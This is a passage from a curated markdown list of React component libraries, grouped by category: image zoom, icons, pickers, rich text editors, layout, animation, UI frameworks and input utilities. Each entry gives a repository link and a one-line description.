- [react-svg-pan-zoom](https://github.com/chrvadala/react-svg-pan-zoom) - A React component that adds pan and zoom features to SVG.
- [react-particle-image](https://github.com/malerba118/react-particle-image) - [demo](https://malerba118.github.io/react-particle-image-demo/) - Render images as interactive particles.
- [react-imgix](https://github.com/imgix/react-imgix) - Add fast, responsive images as an image, picture, or background!
- [@frameright/react-image-display-control](https://github.com/Frameright/react-image-display-control) - Define zoom regions for smart responsive images.
- [zoom-image](https://github.com/willnguyen1312/zoom-image) - [demo](https://willnguyen1312.github.io/zoom-image/examples/react.html) - [docs](https://willnguyen1312.github.io/zoom-image) - A little yet powerful framework agnostic library to zoom image on the web
### Icons
_Display icons / icon set / emojis_
- [iconify-react](https://github.com/iconify/iconify-react) - Over 40k icons from 50+ icon sets, including all popular icon and emoji sets.
- [react-icons](https://github.com/gorangajic/react-icons) - Svg react icons of popular icon packs using ES6 imports.
- [react-open-doodles](https://github.com/lunahq/react-open-doodles) - Awesome free illustrations as react components.
- [react-icomoon](https://github.com/aykutkardas/react-icomoon) - With react-icomoon you can easily use the icons you have selected or created in icomoon.
- [tabler-icons-react](https://tabler-icons-react.vercel.app) - A set of over 450 free MIT-licensed high-quality SVG icons.
- [Lucide](https://github.com/lucide-icons/lucide) - Beautiful & consistent icon toolkit made by the community. Open-source project and a fork of Feather Icons.
### Paginator
_Display a control element to paginate_
- [react-paginate](https://github.com/AdeleD/react-paginate) - A ReactJS component that creates a pagination.
- [react-laravel-paginex](https://github.com/lionix-team/react-laravel-paginex) - Laravel Pagination with ReactJS (customizable).
- [paginated](https://github.com/makotot/paginated) - React render props & custom hook to build pagination.
- [react-steps](https://github.com/tkwant/react-steps) - [Demo](https://stepper.tkwant.de/) - Responsive React Stepper.
### Markdown Viewer
_Display parsed markdow source_
- [react-markdown](https://github.com/rexxars/react-markdown) - Render Markdown as React components.
### Canvas
_Sketch input using Canvas or SVG_
- [react-konva](https://github.com/konvajs/react-konva) - React Konva is a JavaScript library for drawing complex canvas graphics with bindings to the Konva Framework.
- [react-sketch](https://github.com/tbolis/react-sketch) - A Sketch tool for React based applications, backed-up by FabricJS
- [react-sketch-canvas](https://github.com/vinothpandian/react-sketch-canvas) - [Demo](https://vinoth.info/react-sketch-canvas/?path=/story/*) Freehand vector drawing tool for React using SVG as canvas. Accepts input from Mouse, touch, and graphic tablets
- [react-heat-map](https://github.com/uiwjs/react-heat-map) - A lightweight calendar heatmap react component built on SVG, customizable version of GitHub's contribution graph.
### Miscellaneous
- [react-advanced-news-ticker](https://github.com/ahmetcanaydemir/react-advanced-news-ticker) - [demo](https://www.ahmetcanaydemir.com/react-advanced-news-ticker/) - A flexible and animated vertical news ticker component
- [react-avatar-generator](https://github.com/JosephSmith127/react-avatar-generator) - Allows users to create random kaleidoscopes to be used as avatars.
- [react-awesome-query-builder](https://github.com/ukrbublik/react-awesome-query-builder) - [demo](https://ukrbublik.github.io/react-awesome-query-builder/) - Visual query builder from form fields, with SQL, MongoDB and JSON export
- [react-blur](https://github.com/javierbyte/react-blur) - React component for blurred backgrounds.
- [react-demo-tab](https://github.com/mkosir/react-demo-tab) - [demo](https://mkosir.github.io/react-demo-tab) - A React component to easily create demos of other components.
- [react-facebook](https://github.com/CherryProjects/react-facebook) - Facebook components like a Login button, Like, Share, Comments, Page or Embedded Post.
- [fastcomments-react](https://github.com/fastcomments/fastcomments-react) - [demo](<https://blog.fastcomments.com/(12-30-2019)-fastcomments-demo.html>) - FastComments component for embedding a live comment thread on a page or SPA.
- [react-pdf-viewer](https://github.com/phuoc-ng/react-pdf-viewer) - [docs](https://react-pdf-viewer.dev) - A React component to view a PDF document.
- [react-simple-chatbot](https://github.com/LucasBassetti/react-simple-chatbot) - [demo](https://github.com/anishagg17/PIzzaBuilder) - A simple chatbot component to create conversation chats.
- [react-file-reader-input](https://github.com/ngokevin/react-file-reader-input) - File input component for control for file reading styling and abstraction.
- [react-filter-control](https://github.com/komarovalexander/react-filter-control) - The React filterbuilder component for building the filter criteria in the UI.
- [react-headings](https://github.com/alexnault/react-headings) - Auto-increment your HTML headings (h1, h2, etc.) for improved accessibility and SEO, no matter your component structure, while you keep full control of what's rendered.
- [react-joyride](https://github.com/gilbarbara/react-joyride) - Create walkthroughs and guided tours for your ReactJS apps. Now with standalone tooltips!.
- [react-mouse-select](https://github.com/andreizanik/react-mouse-select) - [Demo](https://andreizanik.github.io/react-mouse-select/) A component that allows selecting DOM elements by moving the mouse
- [react-resizable-and-movable](https://github.com/bokuweb/react-resizable-and-movable) - Resizable and movable component for React.
- [react-resizable-box](https://github.com/bokuweb/react-resizable-box) - Resizable component for React. #reactjs.
- [react-searchbox-awesome](https://github.com/axmz/react-searchbox-awesome) - [demo](https://axmz.github.io/react-searchbox-awesome-page/) - Minimalistic searchbox.
- [react-split-pane](https://github.com/tomkp/react-split-pane) - React split-pane component.
- [react-swipe-to-delete-ios](https://github.com/arnaudambro/react-swipe-to-delete-ios) - [demo](https://arnaudambro.github.io/react-swipe-to-delete-ios/) - To delete an item in a list the same way iOS does.
- [react-swipeable-list](https://github.com/marekrozmus/react-swipeable-list) - [demo](https://marekrozmus.github.io/react-swipeable-list/) - Configurable component to render list with swipeable items.
- [typography](https://github.com/KyleAMathews/typography.js) - A powerful toolkit for building websites with beautiful typography.
- [react-pulse-text](https://github.com/Kelsier90/React-Pulse-Text) - [demo/docs](https://kelsier90.github.io/React-Pulse-Text/) - Allows you to animate the text of any property of another component.
- [captcha-image](https://github.com/tpkahlon/captcha-image) - Allows you to generate a random captcha image with options.
- [react-pdf](https://github.com/wojtekmaj/react-pdf) - Display PDFs in your React app as easily as if they were images.
- [react-customizable-chat-bot](https://github.com/chithakumar13/react-chat-bot) - [Demo](https://chithakumar13.github.io/bot-example) - Build your own chatbot matching your brand needs in minutes.
- [@restpace/schema-form](https://github.com/restspace/schema-form) - [Demo](https://restspace.io/react/schema-form/demo) - Easily build complex forms automatically from a JSON Schema.
- [react-darkreader](https://github.com/Turkyden/react-darkreader) - A React Hook for adding a dark / night mode to your site inspired by darkreader.
- [react-apple-signin-auth](https://github.com/A-Tokyo/react-apple-signin-auth) - Apple signin for React using the official Apple JS SDK.
- [react-mrz-scanner](https://github.com/tony-xlh/react-mrz-scanner) - A React component to scan MRZ on passports, visa cards, etc. It is based on Dynamsoft Label Recognizer.
### Form Components
_Let the user enter data_
#### Date / Time picker
_Date picker / time picker / datetime picker / date range picker_
- [date-range-picker](https://github.com/almogtavor/date-range-picker) - [demo](https://almogtavor.github.io/date-range-picker/) - A calendar component that supports date, range & ranges picks.
- [react-big-calendar](https://github.com/intljusticemission/react-big-calendar) - Gcal/outlook like calendar component.
- [react-date-range](https://github.com/Adphorus/react-date-range) - A React component for choosing dates and date ranges.
- [react-datepicker](https://github.com/Hacker0x01/react-datepicker) - A simple and reusable datepicker component for React.
- [react-datepicker2](https://github.com/mberneti/react-datepicker2) - [demo](https://mberneti.github.io/react-datepicker2/) - [docs](https://mberneti.github.io/react-datepicker2/) A simple and reusable datepicker component (with persian jalali calendar support).
- [react-datetime](https://github.com/YouCanBookMe/react-datetime) - A lightweight but complete datetime picker react component.
- [react-day-picker](https://github.com/gpbl/react-day-picker) - Flexible date picker for React.
- [react-flatpickr](https://github.com/coderhaoxin/react-flatpickr) - Flatpickr for React.
- [react-nice-dates](https://github.com/hernansartorio/react-nice-dates) - [demo/docs](https://reactnicedates.hernansartorio.com/) A responsive, touch-friendly, and modular date picker library.
- [react-simple-timefield](https://github.com/antonfisher/react-simple-timefield) - [demo](https://antonfisher.com/react-simple-timefield/) - Simple time input field.
- [react-timezone-select](https://github.com/ndom91/react-timezone-select) - [demo](https://ndom91.github.io/react-timezone-select/) - Dynamic, succinct timezone select. Based on `react-select`.
- [react-yearly-calendar](https://github.com/BelkaLab/react-yearly-calendar) - React.js Yearly Calendar Component.
- [DevExtreme React Scheduler](https://devexpress.github.io/devextreme-reactive/react/scheduler/) - High-performance plugin-based scheduler/calendar for Material Design.
- [jQWidgets Scheduler](https://www.jqwidgets.com/react/react-scheduler/) - Feature complete Scheduling library.
- [react-calendar](https://github.com/wojtekmaj/react-calendar) - Ultimate calendar for your React app.
- [react-date-picker](https://github.com/wojtekmaj/react-date-picker) - A date picker for your React app.
#### Emoji picker
- [interweave-emoji-picker](https://github.com/milesj/interweave/tree/master/packages/emoji-picker) - A React based emoji picker powered by Interweave and Emojibase.
#### Input Types
_Masked inputs, specialized inputs; email / telephone number / credit card / etc._
- [react-credit-cards](https://github.com/amarofashion/react-credit-cards) - Beautiful credit cards for your payment forms.
- [react-payment-inputs](https://github.com/medipass/react-payment-inputs) - [demo](https://medipass.github.io/react-payment-inputs/?path=/story/usepaymentinputs--basic-no-styles) - A zero-dependency container to help with payment card input fields.
- [react-input-mask](https://github.com/sanniassin/react-input-mask) - [demo](http://sanniassin.github.io/react-input-mask/demo.html) - Yet another react component for input masking.
- [@lunasec/react-sdk](https://github.com/lunasec-io/lunasec) - [docs](https://www.lunasec.io/docs/) - Secure, hardened form components that encrypt/tokenize all data automatically.
- [react-numpad](https://github.com/gpietro/react-numpad) - [demo](https://gpietro.github.io/react-numpad-demo/) - Extensible number pad control for numbers, dates and times.
- [react-multi-email](https://github.com/axisj/react-multi-email) - [demo](https://react-multi-email.vercel.app/) - Format multiple emails as the user types.
#### Autocomplete
_Autosuggest / autocomplete / typeahead_
- [react-autosuggest](https://github.com/moroshko/react-autosuggest) - WAI-ARIA compliant React autosuggest component.
- [react-typeahead](https://github.com/fmoo/react-typeahead) - Pure react-based typeahead and typeahead-tokenizer.
#### Select
- [react-aria-menubutton](https://github.com/davidtheclark/react-aria-menubutton) - A fully accessible, easily themeable, React-powered menu button.
- [react-functional-select](https://github.com/based-ghost/react-functional-select) - [demo](https://based-ghost.github.io/react-functional-select/) - Micro-sized & micro-optimized select component for React.js.
- [react-select-box](https://github.com/instructure-react/react-select-box) - An accessible select box component for React.
- [react-select](https://github.com/JedWatson/react-select) - A Select control built with and for React JS.
- [react-column-select](https://github.com/chr-ge/react-column-select) - A column select component built for react.
- [react-select-search](https://github.com/tbleckert/react-select-search) - [demo](https://react-select-search.com/) - A lightweight select component for React
#### Color Picker
- [coloreact](https://github.com/elrumordelaluz/coloreact) - A tiny Color Picker for React.
- [react-color](https://github.com/uiwjs/react-color) - Is a tiny color picker widget component for React apps.
- [react-colorful](https://github.com/omgovich/react-colorful) - A tiny (2,5 KB), dependency-free, fast and accessible color picker component.
- [react-input-color](https://github.com/wangzuo/react-input-color) - React input color component with hsv color picker.
#### Toggle
- [@anatoliygatt/heart-switch](https://github.com/anatoliygatt/heart-switch) - [demo](https://codesandbox.io/s/demo-for-anatoliygatt-heart-switch-cds5p) - A fully themeable and accessible heart-shaped toggle switch component.
- [react-ios-switch](https://github.com/clari/react-ios-switch) - React switch component.
- [react-toggle](https://github.com/instructure-react/react-toggle) - An elegant, accessible toggle component for React. Also a glorified checkbox.
- [ui-switch](https://github.com/yairEO/ui-switch) - The most complete _Toggle_ component
#### Slider
- [react-slider](https://github.com/mpowaga/react-slider) - Slider component for React.
#### Radio Button
- [react-radio-group](https://github.com/chenglou/react-radio-group) - Better radio buttons.
#### Type Select
_Let the user select something (e.g. a tag) while typing_
- [react-autocomplete-input](https://github.com/yury-dymov/react-autocomplete-input) - Autocomplete input field for React.
- [react-mentions](https://github.com/effektif/react-mentions) - Mention people in a textarea.
- [rich-textarea](https://github.com/inokawa/rich-textarea) - A textarea to colorize, highlight, decorate texts and offer autocomplete.
#### Tag Input
_Let the user add multiple tags in a single input_
- [react-tag-input](https://github.com/prakhar1989/react-tags) - A fantastically simple tagging component for your React projects.
- [react-tagsinput](https://github.com/olahol/react-tagsinput) - A simple react component for inputing tags.
- [react-tokeninput](https://github.com/instructure-react/react-tokeninput) - Tokeninput component for React.
- [tagify](https://github.com/yairEO/tagify) - [demo & docs](https://yaireo.github.io/tagify/) - Lightweight, efficient Tags input component.
#### Autosize Input / Textarea
- [react-input-autosize](https://github.com/JedWatson/react-input-autosize) - Auto-resizing input field for React.
- [react-autowidth-input](https://github.com/kierien/react-autowidth-input) - Highly configurable & extensible automatically sized input field built with hooks.
- [react-textarea-autosize](https://github.com/andreypopp/react-textarea-autosize) - <textarea /> component for React which grows with content.
#### Star Rating
- [react-rating](https://github.com/smastrom/react-rating) - [demo](https://react-rating.onrender.com/) - Zero-dependency, highly customizable rating component.
- [react-awesome-stars-rating](https://github.com/fedoryakubovich/react-awesome-stars-rating) - [demo](https://react-awesome-stars-rating.herokuapp.com/) - The star rating component with accessibility.
- [react-star-rating-input](https://github.com/ikr/react-star-rating-input) - React.js component for entering 0-5 (or more) stars.
#### Drag and Drop
- [react-beautiful-dnd](https://github.com/atlassian/react-beautiful-dnd) - Beautiful and accessible drag and drop for lists with React
- [react-dnd](https://github.com/gaearon/react-dnd) - Drag and Drop for React.
- [react-drag-sizing](https://github.com/fritx/react-drag-sizing) - "Drag to resize" (sizing) as React Component.
- [react-draggable](https://github.com/mzabriskie/react-draggable) - React draggable component.
- [react-dragula](https://github.com/bevacqua/react-dragula) - Drag and drop so simple it hurts.
- [react-dropzone](https://github.com/okonet/react-dropzone) - Simple HTML5 drag-drop zone with React.js.
- [react-movable](https://github.com/tajo/react-movable) - Accessible and minimalistic (<4kB gzipped) library for vertical drag and drop in lists and tables.
- [react-sortable-pane](https://github.com/bokuweb/react-sortable-pane) - Sortable and resizable pane component for React.
- [neodrag](https://github.com/PuruVJ/neodrag) - Multi-framework libraries for dragging. Choose your framework, the dragging API behavior will stay the same.
#### Sortable List
_Let the user define an order on a list_
- [react-anything-sortable](https://github.com/jasonslyvia/react-anything-sortable) - Sort any children with touch support and IE8 compatibility.
- [sortablejs](https://github.com/SortableJS/Sortable) - Lists reorderable by drag-and-drop, within and among lists.
#### Rich Text Editor
- [alloyeditor](https://github.com/liferay/alloy-editor) - WYSIWYG editor based on CKEditor with completely rewritten UI.
- [ckeditor4-react](https://github.com/ckeditor/ckeditor4-react) - An official CKEditor 4 rich text editor wrapper.
- [ckeditor5-react](https://github.com/ckeditor/ckeditor5-react) - An official CKEditor 5 rich text editor wrapper.
- [draft-js](https://github.com/facebook/draft-js) - A React framework for building text editors.
- [edtr-io](https://github.com/edtr-io/edtr-io) - [demo](https://edtr.io/) - [docs](https://edtr.io/docs/getting-started) - WYSIWYG in-line web editor with plugins.
- [megadraft](https://github.com/globocom/megadraft) - Rich Text editor built on top of draft.js.
- [react-ace](https://github.com/securingsincity/react-ace) - Ace (Advanced Code Editor) wraper.
- [react-codemirror](https://github.com/uiwjs/react-codemirror) - [demo](https://uiwjs.github.io/react-codemirror/) - CodeMirror component for React.
- [react-contenteditable](https://github.com/lovasoa/react-contenteditable) - React component for a div with editable contents.
- [react-draft-wysiwyg](https://github.com/jpuri/react-draft-wysiwyg) - WYSIWYG editor build on top of [DraftJS](https://draftjs.org/).
- [react-editor](https://github.com/fritx/react-editor) - Simple richtext editor that can insert images and HTML.
- [react-medium-editor](https://github.com/wangzuo/react-medium-editor) - medium-editor wrapper.
- [react-monacoeditor](https://github.com/jaywcjlove/react-monacoeditor) - Monaco Editor component for React.
- [react-simple-code-editor](https://github.com/satya164/react-simple-code-editor) - Simple no-frills code editor with syntax highlighting
- [react-quill](https://github.com/zenoamaro/react-quill) - Quill wrapper.
- [react-trumbowyg](https://github.com/RD17/react-trumbowyg) - [Trumbowyg](https://alex-d.github.io/Trumbowyg/) wrapper.
- [remirror](https://github.com/remirror/remirror) - [demo](https://remirror.io/playground) - [docs](https://remirror.io/docs) - ProseMirror toolkit for React.
- [slate](https://github.com/ianstormtaylor/slate) - [demo](http://slatejs.org/) - [docs](https://docs.slatejs.org/) - A completely customizable framework for building rich text editors.
- [smartblock](https://github.com/appleple/smartblock) - [demo](https://appleple.github.io/smartblock/) - [docs](https://appleple.github.io/smartblock/get-started) - Block based WYSIWYG editor based on ProseMirror.
- [tiptap](https://github.com/ueberdosis/tiptap) - [demo](https://tiptap.dev/) - [docs](https://tiptap.dev/introduction) - The headless editor framework for web artisans.
#### Markdown Editor
- [react-simplemde-editor](https://github.com/RIP21/react-simplemde-editor) - React component wrapper for [EasyMDE (the most fresh SimpleMDE fork)](https://github.com/Ionaru/easy-markdown-editor).
- [react-markdown-editor](https://github.com/jrm2k6/react-markdown-editor) - A markdown editor using React/Reflux.
- [react-md-editor](https://github.com/uiwjs/react-md-editor) - A simple markdown editor with preview, implemented with React.js and TypeScript.
#### Image Editing
_Image manipulation_
- [react-avatar-editor](https://github.com/mosch/react-avatar-editor) - Facebook-like, avatar / profile picture component.
- [react-avatar-generator](https://github.com/JosephSmith127/react-avatar-generator) - Generate fun kaleidoscope for user avatars.
- [react-easy-crop](https://github.com/ricardo-ch/react-easy-crop) - Component to crop/rotate images/videos with easy interactions. Touch friendly.
- [react-image-crop](https://github.com/DominicTobias/react-image-crop) - A responsive image cropping tool for React.
- [react-image-cropper](https://github.com/jerryshew/react-image-cropper) - Image cropper.
- [react-advanced-cropper](https://github.com/advanced-cropper/react-advanced-cropper) - A react cropper library to create the cropper exactly suited for your website design.
- [react-mobile-cropper](https://github.com/advanced-cropper/react-mobile-cropper) - A ready-to-use image cropping library highly inspirited by popular Android croppers. Based on `react-advanced-cropper`.
#### Form Component Collections
- [formsy-material-ui](https://github.com/mbrookes/formsy-material-ui) - A Formsy compatibility wrapper for Material UI form components.
- [formsy-react-components](https://github.com/twisty/formsy-react-components) - A set of React JS components for use in a formsy-react form.
- [react-input-enhancements](https://github.com/alexkuz/react-input-enhancements) - Set of enhancements for input control.
- [react-widgets](https://github.com/jquense/react-widgets) - An à la carte set of polished, extensible, and accessible inputs.
#### Miscellaneous
- [@anatoliygatt/numeric-stepper](https://github.com/anatoliygatt/numeric-stepper) - [demo](https://codesandbox.io/s/demo-for-anatoliygatt-numeric-stepper-mllfyl) - A fully themeable and accessible numeric stepper component.
- [interweave](https://github.com/milesj/interweave) - React library to safely render HTML, filter attributes, autowrap text with matchers, render emoji characters, and much more.
- [react-designer](https://github.com/react-designer/react-designer) - Easy to configure, lightweight, editable vector graphics in your react components.
- [react-upload-gallery](https://github.com/TPMinan/react-upload-gallery) - React for Upload Image Gallery. Drag & Drop, Sortable, Customize.
#### Syntax Highlight
- [react-syntax-highlighter](https://github.com/conorhastings/react-syntax-highlighter) - Syntax highlighting component with Prismjs or Highlightjs AST using inline styles.
## UI Layout
**[`Back to top ⬆️`](#table-of-contents)**
_Components to layout the app's UI_
- [autoresponsive-react](https://github.com/xudafeng/autoresponsive-react) - Auto responsive grid layout library.
- [golden-layout](https://github.com/deepstreamIO/golden-layout) - A multi-screen JavaScript Layout manager.
- [hedron](https://github.com/JSBros/hedron) - A no-frills flexbox grid system, powered by styled-components.
- [m-react-splitters](https://github.com/martinnov92/React-Splitters) - Splitter component, written in TypeScript.
- [muuri-react](https://github.com/Paol-imi/muuri-react) - [demo](https://1czo5.csb.app/) - [docs](https://paol-imi.github.io/muuri-react) - Responsive, sortable, filterable and draggable grid layouts.
- [react-grid-layout](https://github.com/STRML/react-grid-layout) - A draggable and resizable grid layout with responsive breakpoints, for React.
- [react-masonry-component](https://github.com/eiriklv/react-masonry-component) - Wrapper for @desandro's Masonry.
- [react-reflex](https://github.com/leefsmp/Re-Flex) - Flex layout container component for advanced React web applications.
- [react-spaces](https://github.com/aeagle/react-spaces) - [demo/docs](https://www.allaneagle.com/react-spaces/demo/) - Nestable anchored, resizable, scrollable components.
- [react-stonecutter](https://github.com/dantrain/react-stonecutter) - Animated grid layout component.
- [react-colrow](https://github.com/phphe/react-colrow) - Responsive grid layout components. Based on css flexbox. Support fraction width, auto grow.
- [react-schematic](https://github.com/umeshmk/react-schematic) - [demo](https://umeshmk.github.io/react-schematic) - Build responsive layouts using styled schematics without an overhead of any theme configuration
## UI Animation
**[`Back to top ⬆️`](#table-of-contents)**
_Animate transitions_
- [data-driven-motion](https://github.com/tkh44/data-driven-motion) - Easily animate your data.
- [react-animatable](https://github.com/inokawa/react-animatable) - An animation library using Web Animations API.
- [react-anime](https://github.com/stelatech/react-anime) - A super easy animation library.
- [react-flip-move](https://github.com/joshwcomeau/react-flip-move) - Effortless animation between DOM changes (eg. list reordering) using the FLIP technique.
- [react-gsap-enhancer](https://github.com/azazdeaz/react-gsap-enhancer) - Use the full power of React and GSAP together.
- [react-tsparticles](https://github.com/matteobruni/tsparticles/blob/master/components/react/README.md) - A lightweight component to easily create interactive particles animations
- [react-motion](https://github.com/chenglou/react-motion) - A spring that solves your animation problems.
- [react-mt-svg-lines](https://github.com/moarwick/react-mt-svg-lines) - Wrapper to animate the line stroke in SVGs.
- [react-router-transition](https://github.com/maisano/react-router-transition) - Transitions built for react-router, powered by react-motion.
- [react-spring](https://github.com/react-spring/react-spring) - A spring physics based animation library.
- [react-ts-typewriter](https://github.com/gerardmarquinarubio/ReactTypewriter) - [demo](https://codesandbox.io/s/react-typewriter-example-mgyclf) - Easy to use and customizable typewriter effect for any text.
- [framer-motion](https://github.com/framer/motion) - An animation and gesture library.
- [react-spark-scroll](https://github.com/gilbox/react-spark-scroll) - Scroll-based actions and animations for react.
- [react-track](https://github.com/gilbox/react-track) - Track the position of DOM elements. Create cool animations.
- [react-transitive-number](https://github.com/Lapple/react-transitive-number) - Apply transition effect to numeric strings, a la old Groupon timers.
- [react-web-animation](https://github.com/bringking/react-web-animation) - React components for the Web Animations API -.
- [auto-size-transition](https://github.com/DualWield/auto-size-transition) - A component that scale dynamically according to the internal children size
- [react-particles-bg](https://github.com/lindelof/particles-bg) - Particles backgrounds.
- [gooey-react](https://github.com/luukdv/gooey-react) - [demo/docs](https://gooey-react.netlify.app/) - The gooey effect for React, used for shape blobbing / metaballs.
- [react-voodoo](https://github.com/react-voodoo/react-voodoo) - [demo/samples](https://github.com/react-voodoo/react-voodoo-samples) - Additive animation engine allowing complex android/iOs-like animations, rendering sliders on SSR, predictive inertia, multitouch, etc
### Parallax
- [react-parallax-component](https://github.com/keske/react-parallax-component) - Easiest way to add scroll parallax effect on the component.
- [react-parallax-tilt](https://github.com/mkosir/react-parallax-tilt) - [demo](https://mkosir.github.io/react-parallax-tilt) - Easily apply parallax tilt hover effect on components.
## UI Frameworks
**[`Back to top ⬆️`](#table-of-contents)**
### Responsive
_Set of components + responsive layout system_
- [AgnosticUI](https://www.agnosticui.com/) - Accessible React component primitives that also work with Vue 3, Svelte, and Angular!
- [ant-design](https://github.com/ant-design/ant-design) - [demo/docs](https://ant.design/docs/react/introduce) - A UI Design Language from China. Individual [components](http://react-component.github.io/) available.
- [atlaskit](https://atlaskit.atlassian.com/packages) - Atlassian's official UI library, with components from _badge_ to _tree table_.
- [base web](https://baseweb.design) - Base Web is a foundation for initiating, evolving, and unifying web products.
- [carbon](https://github.com/carbon-design-system/carbon) - [demo/docs](https://www.carbondesignsystem.com/) - A design system built by IBM.
- [cdbreact](https://github.com/Devwares-Team/cdbreact) - [demo](https://www.devwares.com/product/contrast) - [docs](https://www.devwares.com/docs/contrast/react/index) - Elegant UI Kit library and reusable components for building mobile-first, responsive websites and web apps.
- [chakra-ui](https://github.com/chakra-ui/chakra-ui) - [demo/docs](https://chakra-ui.com) - Simple, Modular & Accessible UI Components for your React Applications.
- [ChatUI](https://github.com/alibaba/ChatUI) - [demo/docs](https://chatui.io/) - The UI design language and React library for Conversational UI
- [CoreUI for React](https://github.com/coreui/coreui-react) - [demo/docs](https://coreui.io/react) - Open Source UI components library.
- [evergreen](https://github.com/segmentio/evergreen) - [demo/docs](https://evergreen.segment.com) - Evergreen React UI Framework by Segment.
- [fluentui](https://github.com/microsoft/fluentui) - UX frameworks for creating beautiful, cross-platform apps that share code, design, and interaction behavior.
- [geist-ui](https://github.com/geist-org/geist-ui) - Modern and minimalist React UI library.
- [gestalt](https://github.com/pinterest/gestalt) - [demo/docs](https://pinterest.github.io/gestalt/#/) - A set of components that supports Pinterest’s design language.
- [grommet](https://github.com/grommet/grommet) - The most advanced UX framework for enterprise applications.
- [Mantine](https://github.com/mantinedev/mantine) - [demo/docs](https://mantine.dev/) - A fully featured library with 100+ hooks and components with native dark theme support
- [orbit](https://github.com/kiwicom/orbit) - Components for building travel oriented projects.
- [flowbite-react](https://github.com/themesberg/flowbite-react) - Open-source UI component library based on React, Tailwind CSS, and Flowbite.
- [primereact](https://github.com/primefaces/primereact) - A complete UI Framework with 50+ components featuring material, bootstrap and custom themes.
- [radix-ui](https://www.radix-ui.com/) - Unstyled, accessible components for building high‑quality design systems and web apps.
- [react-bootstrap](https://github.com/react-bootstrap/react-bootstrap) - Bootstrap components built with React.
- [react-foundation](https://github.com/digiaonline/react-foundation) - Foundation as React components.
- [reakit](https://github.com/ariakit/ariakit) - [demo/docs](https://reakit.io/docs/button/) Toolkit for building accessible rich web apps
- [searchkit](https://github.com/searchkit/searchkit) - React UI components / widgets. The easiest way to build a great search experience with Elasticsearch.
- [semantic-ui-react](https://github.com/Semantic-Org/Semantic-UI-React) - The official Semantic-UI-React integration.
- [semi-design](https://github.com/DouyinFE/semi-design) - [demo/docs](https://semi.design/) - A modern, comprehensive, flexible design system.
- [shineout](https://github.com/sheinsight/shineout) - [demo](https://shine.wiki/1.4.x/en/components/GetStart) - Chinese-friendly set of components: form elements, navigation, table, tree, tree select drop-down etc.
#### Material Design
- 🚀 [Material UI](https://github.com/mui/material-ui) - Full suite of components. Build your own design system, or start with Material Design.
- [Autocomplete](https://mui.com/material-ui/react-autocomplete/) - Accessible autocomplete, combobox, multiselect
- [Material Icons](https://mui.com/material-ui/material-icons/) - 1,000+ SVG material icons.
- [Modal](https://mui.com/material-ui/react-modal/) - Accessible modal dialog component.
- [Slider](https://mui.com/material-ui/react-slider/) - Accessible slider component.
- [Table](https://mui.com/material-ui/react-table/) - table with sorting, selecting, pagination, virtualized.
- [Tree View](https://mui.com/material-ui/react-tree-view/) - Accessible tree view component for React.
- [react-essence](https://github.com/Evo-Forge/Essence) - Essence - The Essential Material Design Framework.
- [react-materialize](https://github.com/react-materialize/react-materialize) - Material design for react, powered by materializecss.
- [react-toolbox](https://github.com/react-toolbox/react-toolbox) - A set of React components implementing Google's Material Design.
- [mdbootstrap](https://github.com/mdbootstrap/React-Bootstrap-with-Material-Design) - React Bootstrap with Material Design
### Mobile
- [antd-mobile](https://github.com/ant-design/ant-design-mobile) - Configurable Mobile UI from China.
- [Ionic React](https://ionicframework.com/blog/announcing-ionic-react/) - Ionic Framework: easily build Android, Desktop and Progressive Web Apps with one code base.
- [OnsenUI](https://github.com/OnsenUI/OnsenUI/) - [demo/docs](https://onsen.io/v2/guide/react/) - Mobile app framework with Material and flat (iOS) designs. Based on Web Components.
### Component Collections
- [blueprint](https://github.com/palantir/blueprint) - [demo](https://blueprintjs.com/) - [docs](https://blueprintjs.com/docs/) - UI toolkit for building complex, data-dense web interfaces for desktop (not mobile) applications.
- [dataminr-react-components](https://github.com/dataminr/react-components) - Collection of reusable React Components and utility functions.
- [shards-react](https://github.com/DesignRevision/shards-react) - [docs/demo](https://designrevision.com/docs/shards-react/getting-started) - A beautiful and modern React design system. Freemium.
- [aframe-react](https://github.com/ngokevin/aframe-react) - Build virtual reality experiences with A-Frame and React.
- [react-admin](https://github.com/marmelab/react-admin) - Build admin user experiences on top of REST and GraphQL services.
- [refine](https://github.com/pankod/refine) - [demo](https://example.refine.dev) - [docs](https://refine.dev/docs) - Build data-intensive applications in no time. It ships with Ant Design System, an enterprise-level UI toolkit.
- [matrix-card](https://github.com/MehmetKaplan/matrix-card) - [demo](https://mehmetkaplan.github.io/matrix-card/) - Simplest possible component to generate matrix rain style cards.
- [rsuite](https://github.com/rsuite/rsuite) - [demo/docs](https://rsuitejs.com/) - Suite of components for "enterprise system products".
- [lens-ui](https://github.com/luciancaetano/lens-ui) - [docs](https://github.com/luciancaetano/lens-ui/blob/main/docs/introduction.md) - A Suit of components focused on simplicity.
## UI Utilities
**[`Back to top ⬆️`](#table-of-contents)**
### Reporter
_Report computed styles_
#### Visibility Reporter
_Report when a component becomes visible/hidden_
- [react-intersection-observer](https://github.com/thebuilder/react-intersection-observer) - React implementation of the Intersection Observer API.
- [react-visibility-sensor](https://github.com/joshwnj/react-visibility-sensor) - Sensor component.
- [react-waypoint](https://github.com/brigade/react-waypoint) - A React component to execute a function whenever you scroll to an element.
#### Measurement Reporter
_Determine and report measurements of an element_
- [react-component-queries](https://github.com/ctrlplusb/react-component-queries) - Provide props to your Components based on their Width and/or Height.
- [react-container-dimensions](https://github.com/okonet/react-container-dimensions) - Wrapper component that detects element resize.
- [react-dimensions](https://github.com/digidem/react-dimensions) - React higher-order component to get dimensions of container.
- [react-height](https://github.com/nkbt/react-height) - Component-wrapper to determine and report children elements height.
- [react-measure](https://github.com/souporserious/react-measure) - Compute measurements of a React component.
- [react-sizeme](https://github.com/ctrlplusb/react-sizeme) - Make your React Components aware of their width and height.
### Device Input
_Turn user input into actions_
#### Keyboard Events
- [react-hotkeys](https://github.com/chrisui/react-hotkeys) - Declarative hotkey and focus area management for React.
- [react-key-handler](https://github.com/ayrton/react-key-handler) - React component to handle keyboard events.
- [react-keydown](https://github.com/glortho/react-keydown) - Lightweight keydown wrapper for React components.
- [react-shortcuts](https://github.com/avocode/react-shortcuts) - Manage keyboard shortcuts from one place.
- [useKeyCapture](https://github.com/pranesh239/use-key-capture) - A custom hook to ease the key-press listeners of a target/global.
- [react-keyboard-navigator](https://github.com/zheeeng/react-keyboard-navigator) - A suite of React components and hook for selecting sibling components through the keyboard.
#### Scroll Events
- [react-scroll-components](https://github.com/jeroencoumans/react-scroll-components) - A set of components that react to page scrolling.
#### Touch Swipe
- [react-swipe](https://github.com/voronianski/react-swipe) - Swipe.js as a React component.
#### Mouse Events
